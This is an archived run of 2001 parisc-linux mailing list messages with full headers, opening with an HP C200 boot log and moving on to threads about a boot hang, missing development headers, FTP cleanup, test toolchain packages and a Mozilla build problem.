eth0: Digital DS21143 Tulip rev 48 at 0xff00, 00:60:B0:7D:D8:67, IRQ 64.

eth0:  MII transceiver #1 config 1000 status 7809 advertising 01e1.

parport_init_chip: initialize bidirectional-mode.

parport0: PC-style at 0xffd02800, irq 152 [PCSPP,TRISTATE]

lp0: using parport0 (interrupt-driven).

SCSI subsystem driver Revision: 1.00

sym53c8xx: at PCI bus 0, device 19, function 0

sym53c8xx: setting PCI_COMMAND_IO PCI_COMMAND_MEMORY...

sym53c8xx: setting PCI_COMMAND_MASTER...(fix-up)

sym53c8xx: 53c875 detected 

sym53c875-0: rev 0x4 on pci bus 0 device 19 function 0 irq 67

sym53c875-0: NCR clock is 40401KHz

sym53c875-0: ID 7, Fast-20, Parity Checking

sym53c875-0: on-chip RAM at 0xf2ffe000

sym53c875-0: restart (scsi reset).

sym53c875-0: Downloading SCSI SCRIPTS.

scsi0 : sym53c8xx - version 1.6b

sim700: Configuring 53c710 (SCSI-ID 7) at ffd06100, IRQ 150, options 0

scsi1: Revision 0x2

scsi1: test 1 completed ok.

scsi1 : LASI/Simple 53c7xx

  Vendor: SEAGATE   Model: ST31230N          Rev: HP04

  Type:   Direct-Access                      ANSI SCSI revision: 02

Detected scsi disk sda at scsi1, channel 0, id 6, lun 0

SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)

Partition check:

 sda: sda1 sda2 sda3 sda4

Lasi Harmony Audio rev. 16 at 0xffd04000, using IRQ 146

md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27

md.c: sizeof(mdp_super_t) = 4096

NET4: Linux TCP/IP 1.0 for NET4.0

IP Protocols: ICMP, UDP, TCP

IP: routing cache hash table of 2048 buckets, 16Kbytes

TCP: Hash tables configured (established 16384 bind 32768)

IP-Config: Incomplete network configuration information.

NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.

VFS: Mounted root (ext2 filesystem) readonly.


INIT: version 2.78 booting
Loading /etc/console/boottime.kmap.gz
Activating swap...
Adding Swap: 124800k swap-space (priority -1)

Checking root file system...
Parallelizing fsck version 1.20 (25-May-2001)
/dev/sda3: clean, 2529/24480 files, 48019/97630 blocks
Calculating module dependencies... done.
Loading modules: 
Checking all file systems...
Parallelizing fsck version 1.20 (25-May-2001)
/dev/sda4: clean, 4658/99232 files, 15277/198280 blocks
Setting kernel variables.
Mounting local filesystems...
/dev/sda4 on /usr type ext2 (rw)
Cleaning: /etc/network/ifstate.
Setting up IP spoofing protection: rp_filter.
Configuring network interfaces: done.
]R
Setting the System Clock using the Hardware Clock as reference...
System Clock set. Local time: Sun Nov  4 14:41:36 EST 2001

Cleaning: /tmp /var/lock /var/run.
Initializing random number generator... done.
Recovering nvi editor sessions... done.

INIT: Entering runlevel: 2
Starting system log daemon: syslogd.
Starting kernel log daemon: klogd.
Starting internet superserver: inetd.
Starting deferred execution scheduler: atd.
Starting periodic command scheduler: cron.

Now it really is out-to-lunch and pulling the AC is the only way I know to
shut it down.


Regards, Herb




From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting C200
Date: Mon, 5 Nov 2001 14:22:50 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <20011105142250.F8938@linuxcare.com>
References: <3.0.5.32.20011105071636.0191f530@mail.magma.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620709 29205 80.91.229.3 (22 Nov 2014 01:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Herb Radford <herbr@magma.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 07:21:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9459B482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Nov 2001 07:21:37 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 64C3EB00C; Mon,  5 Nov 2001 14:22:50 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3.0.5.32.20011105071636.0191f530@mail.magma.ca>; from herbr@magma.ca on Mon, Nov 05, 2001 at 07:16:36AM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12908

On Mon, Nov 05, 2001 at 07:16:36AM -0500, Herb Radford wrote:
> OK, I found some stuff in the archive on the "Chassis Codes" and set up an
> old laptop as a terminal, disconnected the keyboard (and mouse) and booted.
> Now I tried this with the disk out of my 712/60 and the C200 is not hung.
> It proceeds through the boot process and then hangs on starting cron.

Hmm, the next thing would be the login prompt.  Has it really hung,
or is the inittab from your 712/60 set up to only issue a getty on
the graphical console?

Richard




From - Thu Nov 08 21:20:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] include - haeder files missing
Date: Mon, 05 Nov 2001 22:49:40 +0100
Organization: private
Lines: 26
Approved: news@gmane.org
Message-ID: <3BE70974.A7EB0181@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620709 29206 80.91.229.3 (22 Nov 2014 01:45:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:09 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 14:49:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep15-int.chello.at (viefep15-int.chello.at [213.46.255.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8FBDA482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Nov 2001 14:49:53 -0700 (MST)
Original-Received: from gmx.at ([62.178.92.247]) by viefep15-int.chello.at
          (InterMail vM.5.01.03.06 201-253-122-118-106-20010523) with ESMTP
          id <20011105214944.GKRT10991.viefep15-int.chello.at@gmx.at>
          for <parisc-linux@lists.parisc-linux.org>;
          Mon, 5 Nov 2001 22:49:44 +0100
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12909

Hello !

I have the problem that I miss most of the header files under
/usr/include
or /usr/X11R6/include/X11 ?

Which binary packages I have to install (name of the packages).
I miss the default glibc-2 headers, the X11 headers, etc...

I cannot find out, which packages the h-files include. It is quite a
long
time to build and install glibc by myself on the 712/60, and it is much
too
long to build a Xfree on myself ...

With friendly regards
	Christoph P. 


-- 
-------------------------------------------------------
private:	christoph.plattner@gmx.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] include - haeder files missing
Date: Mon, 05 Nov 2001 23:10:53 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <3BE70E6D.53A9A0D8@esiee.fr>
References: <3BE70974.A7EB0181@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620710 29208 80.91.229.3 (22 Nov 2014 01:45:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:10 +0000 (UTC)
To: Christoph Plattner <christoph.plattner@gmx.at>,
	"parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 15:15:23 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7EFDD482B
	for <parisc-linux@parisc-linux.org>; Mon,  5 Nov 2001 15:15:23 -0700 (MST)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP
	id 27FD649BFA; Mon,  5 Nov 2001 23:14:53 +0100 (CET)
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12910

Hi Christoph,

	According to Helge Deller in his mail
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-June/012927.html
, you must install these packages if you want to see X running. Also,
you will need to do some modifs in XF86Config to make fbdev working and
your favorite and lite window manager.

Good luck, Thomas.
ESIEE Team



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] include - haeder files missing
Date: Mon, 5 Nov 2001 22:20:02 +0000
Lines: 24
Approved: news@gmane.org
Message-ID: <20011105222002.I8938@linuxcare.com>
References: <3BE70974.A7EB0181@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620710 29212 80.91.229.3 (22 Nov 2014 01:45:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:10 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 15:18:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust100.bre.cable.ntl.com [213.107.176.100])
	by dsl2.external.hp.com (Postfix) with ESMTP id 70C99482B
	for <parisc-linux@lists.parisc-linux.org>; Mon,  5 Nov 2001 15:18:52 -0700 (MST)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id DA4BBB00C; Mon,  5 Nov 2001 22:20:02 +0000 (GMT)
X-Mailer: Mutt 1.0us
In-Reply-To: <3BE70974.A7EB0181@gmx.at>; from christoph.plattner@gmx.at on Mon, Nov 05, 2001 at 10:49:40PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12911

On Mon, Nov 05, 2001 at 10:49:40PM +0100, Christoph Plattner wrote:
> Hello !
> 
> I have the problem that I miss most of the header files under
> /usr/include
> or /usr/X11R6/include/X11 ?
> 
> Which binary packages I have to install (name of the packages).
> I miss the default glibc-2 headers, the X11 headers, etc...
> 
> I cannot find out, which packages the h-files include. It is quite a
> long
> time to build and install glibc by myself on the 712/60, and it is much
> too
> long to build a Xfree on myself ...

For glibc headers, you need libc6-dev.

For X headers, basic ones are in xlibs-dev, at least.

Richard




From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] WARNING ftp site moved -> ftp.parisc-linux.org
Date: Mon, 05 Nov 2001 15:28:56 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20011105222857.3E40737DAD@carmen.fc.hp.com>
References: <20011017131818.B22885@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620710 29219 80.91.229.3 (22 Nov 2014 01:45:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:10 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 15:29:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5765482B
	for <parisc-linux@parisc-linux.org>; Mon,  5 Nov 2001 15:29:04 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id BC8141F5B9; Mon,  5 Nov 2001 17:29:03 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 3E40737DAD; Mon,  5 Nov 2001 15:28:57 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Wed, 17 Oct 2001 13:18:18 BST." <20011017131818.B22885@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12912

Matthew Wilcox writes...

> ok, i've moved the patches from /src to /patches.  there's a lot of
> really really old stuff in /src which i'm tempted to delete.  i don't
> think we need egcs-2.9-hppa-991112.tar.{gz,bz2} any more, for example.
> parisc-linux-src-19991019.tar.gz is probably not of much interest any more
> either (that's probably kernel 2.2 based...).  anyone still interested
> in dpkg-src-20000824.tar.gz either?

All nuked.

I also cleaned up some other stuff, but left anything I wasn't sure about.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Mon, 5 Nov 2001 21:42:27 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <20011105214227.M505@tausq.org>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620711 29221 80.91.229.3 (22 Nov 2014 01:45:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:11 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org, bcollins@debian.org
To: "Christopher C. Chimelis" <chris@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  5 22:42:38 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 273E8482B
	for <parisc-linux@parisc-linux.org>; Mon,  5 Nov 2001 22:42:38 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id tpjpiaaa for parisc-linux@parisc-linux.org; Mon, 5 Nov 2001 22:37:31 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 160z0F-0006Yx-00; Mon, 05 Nov 2001 21:42:27 -0800
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com>
User-Agent: Mutt/1.3.20i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12913

I've posted debs for testing at http://gluck.debian.org/~tausq/hppa/

The following are available:

binutils (with latest patches from Alan Modra)
gcc (with ldcw alignment patch)
glibc (with latest patches from Alan Modra)
python and apache rebuilt with new toolchain bits

these are all unofficial.... Chris/Ben will be uploading official
binutils/glibc. gcc will be uploaded as soon as the new binutils are in
incoming....

there're still some problems with exception handling for g++, but in
general these should work.... pls post to the list if you find
otherwise.

randolph
-- 
Debian Developer <tausq@debian.org>
http://www.TauSq.org/



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails
Date: Tue, 6 Nov 2001 09:04:04 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <OE72TyAAfCKQBu8Etaa00008646@hotmail.com>
References: <OE761L3gJcYPqd2rg2Q00007507@hotmail.com> <003101c163a9$48570590$56dc10c3@amos> <OE13GhAj5p1Fjxe0ymQ00007efc@hotmail.com> <20011105032426.A1671@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620711 29224 80.91.229.3 (22 Nov 2014 01:45:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:11 +0000 (UTC)
Cc: "Kaj-Michael Lang" <milang@tal.org>,
	<parisc-linux@parisc-linux.org>
To: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 01:17:33 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe72.law4.hotmail.com [216.33.148.168])
	by dsl2.external.hp.com (Postfix) with ESMTP id B20AB482B
	for <parisc-linux@parisc-linux.org>; Tue,  6 Nov 2001 01:17:32 -0700 (MST)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 6 Nov 2001 00:05:46 -0800
X-Originating-IP: [212.190.10.76]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 06 Nov 2001 08:05:46.0876 (UTC) FILETIME=[D726D3C0:01C16699]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12914

Hi,


I tried to do a dpkg-buildpackage. He seems to be complaining about the
"zip" package. Appearantly the build depends on this package. However, when
I tried a "apt-get install zip" the package was not found. Is there an alias
for this package, or do I also need to build this package from the
source-deb?

Thanks.

Kenneth
----- Original Message -----
From: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>
To: "kenneth westelinck" <kennywest1@hotmail.com>
Cc: "Kaj-Michael Lang" <milang@tal.org>; <parisc-linux@parisc-linux.org>
Sent: Monday, November 05, 2001 3:24 AM
Subject: Re: [parisc-linux] Compiling Mozilla on parisc-linux fails


> On Sun, Nov 04, 2001 at 07:46:23PM +0100, kenneth westelinck wrote:
> > Nope, same error (see the attached file). Any other ideas?
>
> how about using dpkg-buildpackage or applying the patches by hand ?
>
> Thomas.
>
> --
> Crap can work. Given enough thrust pigs will fly, but it's not necessary a
> good idea.                                 [ Alexander Viro on
linux-kernel ]
>
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:20:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Albert Strasheim <fullung@ilink.nis.za>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa binutils/glibc updates
Date: Tue, 6 Nov 2001 10:16:50 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <20011106101650.A29917@dogbert.localdomain>
References: <20011105024952.C4441@parcelfarce.linux.theplanet.co.uk> <Pine.LNX.4.21.0111050136140.2956-100000@spawn.hockeyfiend.com> <20011105214227.M505@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="AhhlLboLdkugWU4S"
X-Trace: ger.gmane.org 1416620711 29226 80.91.229.3 (22 Nov 2014 01:45:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:45:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Randolph Chung <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  6 01:18:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from maties2.sun.ac.za (maties2.sun.ac.za [146.232.128.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4A3A9482B
	for <parisc-linux@lists.parisc-linux.org>; Tue,  6 Nov 2001 01:18:01 -0700 (MST)
Original-Received: from dogbert.sdsl.sun.ac.za ([146.232.83.63])
	by maties2.sun.ac.za with smtp (Exim 3.33 #3)
	id 1611Qe-0003ZH-00
	for parisc-linux@lists.parisc-linux.org; Tue, 06 Nov 2001 10:17:52 +0200
Original-Received: (qmail 25590 invoked from network); 6 Nov 2001 08:17:46 -0000
Original-Received: from unknown (HELO dogbert.localdomain) (192.168.1.2)
  by 0 with SMTP; 6 Nov 2001 08:17:46 -0000
Original-Received: from fullung by dogbert.localdomain with local (Exim 3.32 #1 (Debian))
	id 1611Pe-0007nY-00; Tue, 06 Nov 2001 10:16:50 +0200
Content-Disposition: inline
In-Reply-To: <20011105214227.M505@tausq.org>
User-Agent: Mutt/1.3.23i
X-Scanner: exiscan *1611Qe-0003ZH-00*e6G0ikkfxng* http://duncanthrax.net/exiscan/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.6
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:12915

--AhhlLboLdkugWU4S
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

Hello,

On Mon, 05 Nov 2001, Randolph Chung wrote:

> I've posted debs for testing at http://gluck.debian.org/~tausq/hppa/
>=20
